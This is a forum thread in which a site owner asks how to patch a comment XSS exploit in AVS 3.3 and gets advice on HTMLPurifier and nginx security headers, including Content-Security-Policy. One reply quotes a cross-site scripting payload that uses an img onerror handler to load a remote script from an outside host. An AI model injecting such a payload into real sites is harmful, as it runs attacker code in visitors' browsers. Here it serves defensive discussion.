Jump to content

- - - - -

is this a way to fix virink comments exploit in avs 3.3?

comments virink hack exploit

  • Please log in to reply
3 replies to this topic

#1 brianatthebeach



  • Members
  • PipPipPip
  • 107 posts

Posted 10 August 2017 - 11:12 PM

I have a lot of mods in 3.3.  I'm won't be ready to go to 4.0 for a while and comments have been off for over a year now.  I see the new filter.class.php is only different in that it uses xss_filter and dependencies in htmlpurifier.
Can I simply upload htmlpurifier to classes and replace filter.class.php to get the comments protection?  It looks like it might work.
So far no errors and all the comments get filtered via filter->get($comments)
get() uses xxs_filter which uses htmlpurifier

#2 Damien


    Junior Member

  • Members
  • PipPipPip
  • 81 posts

Posted 11 September 2017 - 03:51 PM

What's the exploit? if they are running scripts like;

<>mg src=virink onerror=s=createElement('script');body.appendChild(s);s.src='http://www.123.com/h.js';>

Kill it with a https://content-security-policy.com, none of their junk will ever fire. Really a must have for any website imo.

#3 brianatthebeach



  • Members
  • PipPipPip
  • 107 posts

Posted 11 September 2017 - 06:53 PM

thanks for the info.  I updated with htmlpurifier from avs 4.0 but I will look at that!



  • Damien likes this

#4 Damien


    Junior Member

  • Members
  • PipPipPip
  • 81 posts

Posted 13 September 2017 - 03:56 PM

You'd need to declare/exclude every single outside call your website makes for thngs like images or javascript etc, so in nginx I would use add_header Content-Security-Policy (among other things)

# config to don't allow the browser to render the page inside an frame or iframe
# and avoid clickjacking http://en.wikipedia.org/wiki/Clickjacking
# if you need to allow [i]frames, you can use SAMEORIGIN or even set an uri with ALLOW-FROM uri
# https://developer.mozilla.org/en-US/docs/HTTP/X-Frame-Options
# add_header X-Frame-Options SAMEORIGIN;
# add_header X-Frame-Options ALLOW-FROM https://your-domain.com;
# add_header X-Frame-Options "ALLOW-FROM https://your-domain.com";

# when serving user-supplied content, include a X-Content-Type-Options: nosniff header along with the Content-Type: header,
# to disable content-type sniffing on some browsers.
# https://www.owasp.org/index.php/List_of_useful_HTTP_headers
# currently suppoorted in IE > 8 http://blogs.msdn.com/b/ie/archive/2008/09/02/ie8-security-part-vi-beta-2-update.aspx
# http://msdn.microsoft.com/en-us/library/ie/gg622941(v=vs.85).aspx
# 'soon' on Firefox https://bugzilla.mozilla.org/show_bug.cgi?id=471020
add_header X-Content-Type-Options nosniff;

# This header enables the Cross-site scripting (XSS) filter built into most recent web browsers.
# It's usually enabled by default anyway, so the role of this header is to re-enable the filter for 
# this particular website if it was disabled by the user.
# https://www.owasp.org/index.php/List_of_useful_HTTP_headers
add_header X-XSS-Protection "1; mode=block";

# with Content Security Policy (CSP) enabled(and a browser that supports it(http://caniuse.com/#feat=contentsecuritypolicy),
# you can tell the browser that it can only download content from the domains you explicitly allow
# http://www.html5rocks.com/en/tutorials/security/content-security-policy/
# https://www.owasp.org/index.php/Content_Security_Policy
# I need to change our application code so we can increase security by disabling 'unsafe-inline' 'unsafe-eval'
# directives for css and js(if you have inline css or js, you will need to keep it too).
# more: http://www.html5rocks.com/en/tutorials/security/content-security-policy/#inline-code-considered-harmful

add_header Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval' https://code.jquery.com http://fonts.googleapis.com https://cdnjs.cloudflare.com/ajax/libs/jquery-backstretch/2.0.4/jquery.backstretch.min.js http://www.youtube.com/iframe_api https://api-public.addthis.com https://graph.facebook.com https://www.linkedin.com https://widgets.pinterest.com https://www.google.com/recaptcha https://www.gstatic.com/recaptcha https://www.gstatic.com https://www.google.com https://ajax.cloudflare.com https://s.ytimg.com https://m.addthis.com https://m.addthisedge.com https://secure.quantserve.com https://www.google-analytics.com https://ajax.googleapis.com https://ssl.google-analytics.com https://www.youtube.com https://assets.zendesk.com https://maxcdn.bootstrapcdn.com https://s7.addthis.com https://connect.facebook.net; img-src 'self' data: https://www.gstatic.com https://www.google.com https://www.google-analytics.com https://ssl.google-analytics.com https://s-static.ak.facebook.com https://assets.zendesk.com; style-src 'self' 'unsafe-inline' https://maxcdn.bootstrapcdn.com https://fonts.googleapis.com https://assets.zendesk.com; font-src 'self' https://maxcdn.bootstrapcdn.com https://fonts.gstatic.com https://themes.googleusercontent.com; child-src https://www.google.com/recaptcha/ https://www.gstatic.com/recaptcha/ https://s7.addthis.com https://assets.zendesk.com https://www.facebook.com https://s-static.ak.facebook.com https://www.youtube.com https://tautt.zendesk.com; connect-src https://m.addthis.com; object-src https://google.com";

This policy allows images, scripts, AJAX, and CSS from the same origin, and does not allow any other resources to load (eg object, frame, media, etc). It is a good starting point for many sites.

default-src 'none'; script-src 'self'; connect-src 'self'; img-src 'self'; style-src 'self';

being the basics. 


Use browser developer console to catch errors.

Refused to load the image 'https://i.imgur.com/picture.jpg' because it violates the following Content Security Policy directive: "img-src 'self' data:  https://your-domain-only.com"

the fix would be

"img-src 'self' data:  https://your-domain-only.com https://i.imgur.com"

'self' is your own website images showing and 'data:' is base64 encoded images (if you ever use them that is). Good luck!

Edited by Damien, 13 September 2017 - 04:06 PM.